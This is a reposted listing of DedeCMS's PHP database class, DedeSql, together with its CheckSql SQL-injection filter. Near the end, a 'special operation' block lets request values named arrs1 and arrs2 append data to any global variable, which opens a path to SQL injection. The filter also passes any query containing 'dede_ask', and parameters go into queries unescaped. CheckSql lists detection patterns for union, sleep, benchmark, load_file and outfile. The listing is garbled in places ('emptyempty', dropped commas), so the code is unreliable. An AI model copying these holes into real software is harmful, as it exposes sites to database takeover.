dedecms数据库类

时间:2010-11-09 00:31 作者:php 点击:
dedecms数据库类class DedeSql

  

dedecms数据库类class DedeSql

 

  1. <?php  
  2. if(!defined('DEDEINC'))  
  3. {  
  4.     exit("Request Error!");  
  5. }  
  6.  
  7. //调用这个类前,请先设定这些外部变量  
  8. /*----------------------------  
  9. $GLOBALS['cfg_dbhost'];  
  10. $GLOBALS['cfg_dbuser'];  
  11. $GLOBALS['cfg_dbpwd'];  
  12. $GLOBALS['cfg_dbname'];  
  13. $GLOBALS['cfg_dbprefix'];  
  14. ----------------------------*/ 
  15.  
  16. $dsql = $db = new DedeSql(false);  
  17. class DedeSql  
  18. {  
  19.     var $linkID;  
  20.     var $dbHost;  
  21.     var $dbUser;  
  22.     var $dbPwd;  
  23.     var $dbName;  
  24.     var $dbPrefix;  
  25.     var $result;  
  26.     var $queryString;  
  27.     var $parameters;  
  28.     var $isClose;  
  29.     var $safeCheck;  
  30.  
  31.     //用外部定义的变量初始类,并连接数据库  
  32.     function __construct($pconnect=false,$nconnect=true)  
  33.     {  
  34.         $this->isClose = false;  
  35.         $this->safeCheck = true;  
  36.         if($nconnect)  
  37.         {  
  38.             $this->Init($pconnect);  
  39.         }  
  40.     }  
  41.  
  42.     function DedeSql($pconnect=false,$nconnect=true)  
  43.     {  
  44.         $this->__construct($pconnect,$nconnect);  
  45.     }  
  46.  
  47.     function Init($pconnect=false)  
  48.     {  
  49.         $this->linkID = 0;  
  50.         $this->queryString = '';  
  51.         $this->parameters = Array();  
  52.         $this->dbHost   =  $GLOBALS['cfg_dbhost'];  
  53.         $this->dbUser   =  $GLOBALS['cfg_dbuser'];  
  54.         $this->dbPwd    =  $GLOBALS['cfg_dbpwd'];  
  55.         $this->dbName   =  $GLOBALS['cfg_dbname'];  
  56.         $this->dbPrefix =  $GLOBALS['cfg_dbprefix'];  
  57.         $this->result["me"] = 0;  
  58.         $this->Open($pconnect);  
  59.     }  
  60.  
  61.     //用指定参数初始数据库信息  
  62.     function SetSource($host,$username,$pwd,$dbname,$dbprefix="dede_")  
  63.     {  
  64.         $this->dbHost = $host;  
  65.         $this->dbUser = $username;  
  66.         $this->dbPwd = $pwd;  
  67.         $this->dbName = $dbname;  
  68.         $this->dbPrefix = $dbprefix;  
  69.         $this->result["me"] = 0;  
  70.     }  
  71.     function SelectDB($dbname)  
  72.     {  
  73.         mysql_select_db($dbname);  
  74.     }  
  75.  
  76.     //设置SQL里的参数  
  77.     function SetParameter($key,$value)  
  78.     {  
  79.         $this->parameters[$key]=$value;  
  80.     }  
  81.  
  82.     //连接数据库  
  83.     function Open($pconnect=false)  
  84.     {  
  85.         global $dsql;  
  86.         //连接数据库  
  87.         if($dsql && !$dsql->isClose)  
  88.         {  
  89.             $this->linkID = $dsql->linkID;  
  90.         }  
  91.         else 
  92.         {  
  93.             if(!$pconnect)  
  94.             {  
  95.                 $this->linkID  = @mysql_connect($this->dbHost,$this->dbUser,$this->dbPwd);  
  96.             }  
  97.             else 
  98.             {  
  99.                 $this->linkID = @mysql_pconnect($this->dbHost,$this->dbUser,$this->dbPwd);  
  100.             }  
  101.  
  102.             //复制一个对象副本  
  103.             CopySQLPoint($this);  
  104.         }  
  105.  
  106.         //处理错误,成功连接则选择数据库  
  107.         if(!$this->linkID)  
  108.         {  
  109.             $this->DisplayError("DedeCms错误警告:<font color='red'>连接数据库失败,可能数据库密码不对或数据库服务器出错!</font>");  
  110.             exit();  
  111.         }  
  112.         @mysql_select_db($this->dbName);  
  113.         $mysqlver = explode('.',$this->GetVersion());  
  114.         $mysqlver = $mysqlver[0].'.'.$mysqlver[1];  
  115.         if($mysqlver>4.0)  
  116.         {  
  117.             @mysql_query("SET NAMES '".$GLOBALS['cfg_db_language']."', character_set_client=binary, sql_mode='', interactive_timeout=3600 ;", $this->linkID);  
  118.         }  
  119.         return true;  
  120.     }  
  121.       
  122.     //为了防止采集等需要较长运行时间的程序超时,在运行这类程序时设置系统等待和交互时间  
  123.     function SetLongLink()  
  124.     {  
  125.         @mysql_query("SET interactive_timeout=3600, wait_timeout=3600 ;"$this->linkID);  
  126.     }  
  127.  
  128.     //获得错误描述  
  129.     function GetError()  
  130.     {  
  131.         $str = mysql_error();  
  132.         return $str;  
  133.     }  
  134.  
  135.     //关闭数据库  
  136.     //mysql能自动管理非持久连接的连接池  
  137.     //实际上关闭并无意义并且容易出错,所以取消这函数  
  138.     function Close($isok=false)  
  139.     {  
  140.         $this->FreeResultAll();  
  141.         if($isok)  
  142.         {  
  143.             mysql_close($this->linkID);  
  144.             $this->isClose = true;  
  145.             $GLOBALS['dsql'] = null;  
  146.         }  
  147.     }  
  148.  
  149.     //定期清理死连接  
  150.     function ClearErrLink()  
  151.     {  
  152.     }  
  153.  
  154.     //关闭指定的数据库连接  
  155.     function CloseLink($dblink)  
  156.     {  
  157.         @mysql_close($dblink);  
  158.     }  
  159.  
  160.     //执行一个不返回结果的SQL语句,如update,delete,insert等  
  161.     function ExecuteNoneQuery($sql='')  
  162.     {  
  163.         global $dsql;  
  164.         if($dsql->isClose)  
  165.         {  
  166.             $this->Open(false);  
  167.             $dsql->isClose = false;  
  168.         }  
  169.         if(!emptyempty($sql))  
  170.         {  
  171.             $this->SetQuery($sql);  
  172.         }else{  
  173.       return false;  
  174.     }  
  175.         if(is_array($this->parameters))  
  176.         {  
  177.             foreach($this->parameters as $key=>$value)  
  178.             {  
  179.                 $this->queryString = str_replace("@".$key,"'$value'",$this->queryString);  
  180.             }  
  181.         }  
  182.         //SQL语句安全检查  
  183.         if($this->safeCheck) CheckSql($this->queryString,'update');  
  184.         return mysql_query($this->queryString,$this->linkID);  
  185.     }  
  186.  
  187.  
  188.     //执行一个返回影响记录条数的SQL语句,如update,delete,insert等  
  189.     function ExecuteNoneQuery2($sql='')  
  190.     {  
  191.         global $dsql;  
  192.         if($dsql->isClose)  
  193.         {  
  194.             $this->Open(false);  
  195.             $dsql->isClose = false;  
  196.         }  
  197.  
  198.         if(!emptyempty($sql))  
  199.         {  
  200.             $this->SetQuery($sql);  
  201.         }  
  202.         if(is_array($this->parameters))  
  203.         {  
  204.             foreach($this->parameters as $key=>$value)  
  205.             {  
  206.                 $this->queryString = str_replace("@".$key,"'$value'",$this->queryString);  
  207.             }  
  208.         }  
  209.         mysql_query($this->queryString,$this->linkID);  
  210.         return mysql_affected_rows($this->linkID);  
  211.     }  
  212.  
  213.     function ExecNoneQuery($sql='')  
  214.     {  
  215.         return $this->ExecuteNoneQuery($sql);  
  216.     }  
  217.  
  218.     //执行一个带返回结果的SQL语句,如SELECT,SHOW等  
  219.     function Execute($id="me"$sql='')  
  220.     {  
  221.         global $dsql;  
  222.         if($dsql->isClose)  
  223.         {  
  224.             $this->Open(false);  
  225.             $dsql->isClose = false;  
  226.         }  
  227.         if(!emptyempty($sql))  
  228.         {  
  229.             $this->SetQuery($sql);  
  230.         }  
  231.  
  232.         //SQL语句安全检查  
  233.         if($this->safeCheck)  
  234.         {  
  235.             CheckSql($this->queryString);  
  236.         }  
  237.       
  238.     $t1 = ExecTime();  
  239.           
  240.         $this->result[$id] = mysql_query($this->queryString,$this->linkID);  
  241.           
  242.         //$queryTime = ExecTime() - $t1;  
  243.         //查询性能测试  
  244.         //if($queryTime > 0.05) {  
  245.             //echo $this->queryString."--{$queryTime}<hr />\r\n";   
  246.         //}  
  247.           
  248.         if($this->result[$id]===false)  
  249.         {  
  250.             $this->DisplayError(mysql_error()." <br />Error sql: <font color='red'>".$this->queryString."</font>");  
  251.         }  
  252.     }  
  253.  
  254.     function Query($id="me",$sql='')  
  255.     {  
  256.         $this->Execute($id,$sql);  
  257.     }  
  258.  
  259.     //执行一个SQL语句,返回前一条记录或仅返回一条记录  
  260.     function GetOne($sql='',$acctype=MYSQL_ASSOC)  
  261.     {  
  262.         global $dsql;  
  263.         if($dsql->isClose)  
  264.         {  
  265.             $this->Open(false);  
  266.             $dsql->isClose = false;  
  267.         }  
  268.         if(!emptyempty($sql))  
  269.         {  
  270.             if(!eregi("limit",$sql)) $this->SetQuery(eregi_replace("[,;]$",'',trim($sql))." limit 0,1;");  
  271.             else $this->SetQuery($sql);  
  272.         }  
  273.         $this->Execute("one");  
  274.         $arr = $this->GetArray("one",$acctype);  
  275.         if(!is_array($arr))  
  276.         {  
  277.             return '';  
  278.         }  
  279.         else 
  280.         {  
  281.             @mysql_free_result($this->result["one"]); return($arr);  
  282.         }  
  283.     }  
  284.  
  285.     //执行一个不与任何表名有关的SQL语句,Create等  
  286.     function ExecuteSafeQuery($sql,$id="me")  
  287.     {  
  288.         global $dsql;  
  289.         if($dsql->isClose)  
  290.         {  
  291.             $this->Open(false);  
  292.             $dsql->isClose = false;  
  293.         }  
  294.         $this->result[$id] = @mysql_query($sql,$this->linkID);  
  295.     }  
  296.  
  297.     //返回当前的一条记录并把游标移向下一记录  
  298.     // MYSQL_ASSOC、MYSQL_NUM、MYSQL_BOTH  
  299.     function GetArray($id="me",$acctype=MYSQL_ASSOC)  
  300.     {  
  301.         if($this->result[$id]==0)  
  302.         {  
  303.             return false;  
  304.         }  
  305.         else 
  306.         {  
  307.             return mysql_fetch_array($this->result[$id],$acctype);  
  308.         }  
  309.     }  
  310.  
  311.     function GetObject($id="me")  
  312.     {  
  313.         if($this->result[$id]==0)  
  314.         {  
  315.             return false;  
  316.         }  
  317.         else 
  318.         {  
  319.             return mysql_fetch_object($this->result[$id]);  
  320.         }  
  321.     }  
  322.  
  323.     //检测是否存在某数据表  
  324.     function IsTable($tbname)  
  325.     {  
  326.         $this->result[0] = mysql_list_tables($this->dbName,$this->linkID);  
  327.         while ($row = mysql_fetch_array($this->result[0]))  
  328.         {  
  329.             if(strtolower($row[0])==strtolower($tbname))  
  330.             {  
  331.                 mysql_freeresult($this->result[0]);  
  332.                 return true;  
  333.             }  
  334.         }  
  335.         mysql_freeresult($this->result[0]);  
  336.         return false;  
  337.     }  
  338.  
  339.     //获得MySql的版本号  
  340.     function GetVersion($isformat=true)  
  341.     {  
  342.         global $dsql;  
  343.         if($dsql->isClose)  
  344.         {  
  345.             $this->Open(false);  
  346.             $dsql->isClose = false;  
  347.         }  
  348.         $rs = mysql_query("SELECT VERSION();",$this->linkID);  
  349.         $row = mysql_fetch_array($rs);  
  350.         $mysql_version = $row[0];  
  351.         mysql_free_result($rs);  
  352.         if($isformat)  
  353.         {  
  354.             $mysql_versions = explode(".",trim($mysql_version));  
  355.             $mysql_version = number_format($mysql_versions[0].".".$mysql_versions[1],2);  
  356.         }  
  357.         return $mysql_version;  
  358.     }  
  359.  
  360.     //获取特定表的信息  
  361.     function GetTableFields($tbname,$id="me")  
  362.     {  
  363.         $this->result[$id] = mysql_list_fields($this->dbName,$tbname,$this->linkID);  
  364.     }  
  365.  
  366.     //获取字段详细信息  
  367.     function GetFieldObject($id="me")  
  368.     {  
  369.         return mysql_fetch_field($this->result[$id]);  
  370.     }  
  371.  
  372.     //获得查询的总记录数  
  373.     function GetTotalRow($id="me")  
  374.     {  
  375.         if($this->result[$id]==0)  
  376.         {  
  377.             return -1;  
  378.         }  
  379.         else 
  380.         {  
  381.             return mysql_num_rows($this->result[$id]);  
  382.         }  
  383.     }  
  384.  
  385.     //获取上一步INSERT操作产生的ID  
  386.     function GetLastID()  
  387.     {  
  388.         //如果 AUTO_INCREMENT 的列的类型是 BIGINT,则 mysql_insert_id() 返回的值将不正确。  
  389.         //可以在 SQL 查询中用 MySQL 内部的 SQL 函数 LAST_INSERT_ID() 来替代。  
  390.         //$rs = mysql_query("Select LAST_INSERT_ID() as lid",$this->linkID);  
  391.         //$row = mysql_fetch_array($rs);  
  392.         //return $row["lid"];  
  393.         return mysql_insert_id($this->linkID);  
  394.     }  
  395.  
  396.     //释放记录集占用的资源  
  397.     function FreeResult($id="me")  
  398.     {  
  399.         @mysql_free_result($this->result[$id]);  
  400.     }  
  401.     function FreeResultAll()  
  402.     {  
  403.         if(!is_array($this->result))  
  404.         {  
  405.             return '';  
  406.         }  
  407.         foreach($this->result as $kk => $vv)  
  408.         {  
  409.             if($vv)  
  410.             {  
  411.                 @mysql_free_result($vv);  
  412.             }  
  413.         }  
  414.     }  
  415.  
  416.     //设置SQL语句,会自动把SQL语句里的dede_替换为$this->dbPrefix(在配置文件中为$cfg_dbprefix)  
  417.     function SetQuery($sql)  
  418.     {  
  419.         $prefix="dede_";  
  420.         $sql = str_replace($prefix,$this->dbPrefix,$sql);  
  421.         $this->queryString = $sql;  
  422.     }  
  423.  
  424.     function SetSql($sql)  
  425.     {  
  426.         $this->SetQuery($sql);  
  427.     }  
  428.  
  429.     //显示数据链接错误信息  
  430.     function DisplayError($msg)  
  431.     {  
  432.         $errorTrackFile = dirname(__FILE__).'/../data/mysql_error_trace.inc';  
  433.         iffile_exists(dirname(__FILE__).'/../data/mysql_error_trace.php') )  
  434.         {  
  435.             @unlink(dirname(__FILE__).'/../data/mysql_error_trace.php');  
  436.         }  
  437.         $emsg = '';  
  438.         $emsg .= "<div><h3>DedeCMS Error Warning!</h3>\r\n";  
  439.         $emsg .= "<div><a href='http://bbs.dedecms.com' target='_blank' style='color:red'>Technical Support: http://bbs.dedecms.com</a></div>";  
  440.         $emsg .= "<div style='line-helght:160%;font-size:14px;color:green'>\r\n";  
  441.         $emsg .= "<div style='color:blue'><br />Error page: <font color='red'>".$this->GetCurUrl()."</font></div>\r\n";  
  442.         $emsg .= "<div>Error infos: {$msg}</div>\r\n";  
  443.         $emsg .= "<br /></div></div>\r\n";  
  444.           
  445.         echo $emsg;  
  446.           
  447.         $savemsg = 'Page: '.$this->GetCurUrl()."\r\nError: ".$msg;  
  448.         //保存MySql错误日志  
  449.         $fp = @fopen($errorTrackFile'a');  
  450.         @fwrite($fp'<'.'?php  exit();'."\r\n/*\r\n{$savemsg}\r\n*/\r\n?".">\r\n");  
  451.         @fclose($fp);  
  452.     }  
  453.       
  454.     //获得当前的脚本网址  
  455.     function GetCurUrl()  
  456.     {  
  457.         if(!emptyempty($_SERVER["REQUEST_URI"]))  
  458.         {  
  459.             $scriptName = $_SERVER["REQUEST_URI"];  
  460.             $nowurl = $scriptName;  
  461.         }  
  462.         else 
  463.         {  
  464.             $scriptName = $_SERVER["PHP_SELF"];  
  465.             if(emptyempty($_SERVER["QUERY_STRING"])) {  
  466.                 $nowurl = $scriptName;  
  467.             }  
  468.             else {  
  469.                 $nowurl = $scriptName."?".$_SERVER["QUERY_STRING"];  
  470.             }  
  471.         }  
  472.         return $nowurl;  
  473.     }  
  474.       
  475. }  
  476.  
  477. //特殊操作  
  478. if(isset($GLOBALS['arrs1']))  
  479. {  
  480.     $v1 = $v2 = '';  
  481.     for($i=0;isset($arrs1[$i]);$i++)  
  482.     {  
  483.         $v1 .= ParCv($arrs1[$i]);  
  484.     }  
  485.     for($i=0;isset($arrs2[$i]);$i++)  
  486.     {  
  487.         $v2 .= ParCv($arrs2[$i]);  
  488.     }  
  489.     $GLOBALS[$v1] .= $v2;  
  490. }  
  491.  
  492. //复制一个对象副本  
  493. function CopySQLPoint(&$ndsql)  
  494. {  
  495.     $GLOBALS['dsql'] = $ndsql;  
  496. }  
  497.  
  498. //SQL语句过滤程序,由80sec提供,这里作了适当的修改  
  499. function CheckSql($db_string,$querytype='select')  
  500. {  
  501.     global $cfg_cookie_encode;  
  502.     $clean = '';  
  503.     $error='';  
  504.     $old_pos = 0;  
  505.     $pos = -1;  
  506.     $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';  
  507.     $userIP = GetIP();  
  508.     $getUrl = GetCurUrl();  
  509.  
  510.     //如果是普通查询语句,直接过滤一些特殊语法  
  511.     if($querytype=='select')  
  512.     {  
  513.         $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";  
  514.  
  515.         //$notallow2 = "--|/\*";  
  516.         if(eregi($notallow1,$db_string))  
  517.         {  
  518.             fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");  
  519.             exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");  
  520.         }  
  521.     }  
  522.  
  523.     //完整的SQL检查  
  524.     while (true)  
  525.     {  
  526.         $pos = strpos($db_string'\''$pos + 1);  
  527.         if ($pos === false)  
  528.         {  
  529.             break;  
  530.         }  
  531.         $clean .= substr($db_string$old_pos$pos - $old_pos);  
  532.         while (true)  
  533.         {  
  534.             $pos1 = strpos($db_string'\''$pos + 1);  
  535.             $pos2 = strpos($db_string'\\'$pos + 1);  
  536.             if ($pos1 === false)  
  537.             {  
  538.                 break;  
  539.             }  
  540.             elseif ($pos2 == false || $pos2 > $pos1)  
  541.             {  
  542.                 $pos = $pos1;  
  543.                 break;  
  544.             }  
  545.             $pos = $pos2 + 1;  
  546.         }  
  547.         $clean .= '$s$';  
  548.         $old_pos = $pos + 1;  
  549.     }  
  550.     $clean .= substr($db_string$old_pos);  
  551.     $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));  
  552.  
  553.     //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它  
  554.     if (strpos($clean'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s'$clean) != 0)  
  555.     {  
  556.         $fail = true;  
  557.         $error="union detect";  
  558.     }  
  559.  
  560.     //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们  
  561.     elseif (strpos($clean'/*') > 2 || strpos($clean'--') !== false || strpos($clean'#') !== false)  
  562.     {  
  563.         $fail = true;  
  564.         $error="comment detect";  
  565.     }  
  566.  
  567.     //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库  
  568.     elseif (strpos($clean'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s'$clean) != 0)  
  569.     {  
  570.         $fail = true;  
  571.         $error="slown down detect";  
  572.     }  
  573.     elseif (strpos($clean'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s'$clean) != 0)  
  574.     {  
  575.         $fail = true;  
  576.         $error="slown down detect";  
  577.     }  
  578.     elseif (strpos($clean'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s'$clean) != 0)  
  579.     {  
  580.         $fail = true;  
  581.         $error="file fun detect";  
  582.     }  
  583.     elseif (strpos($clean'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s'$clean) != 0)  
  584.     {  
  585.         $fail = true;  
  586.         $error="file fun detect";  
  587.     }  
  588.  
  589.     //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息  
  590.     elseif (preg_match('~\([^)]*?select~s'$clean) != 0)  
  591.     {  
  592.         $fail = true;  
  593.         $error="sub select detect";  
  594.     }  
  595.     if (!emptyempty($fail))  
  596.     {  
  597.         if (preg_match("/dede_ask/i"$db_string)) {  
  598.             return $db_string;  
  599.         }  
  600.         fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");  
  601.         exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");  
  602.     }  
  603.     else 
  604.     {  
  605.         return $db_string;  
  606.     }  
  607. }  
  608.  
  609. ?>  

 


标签(Tag):
------分隔线----------------------------
  • 上一篇:没有了
  • 下一篇:没有了
推荐内容
热点内容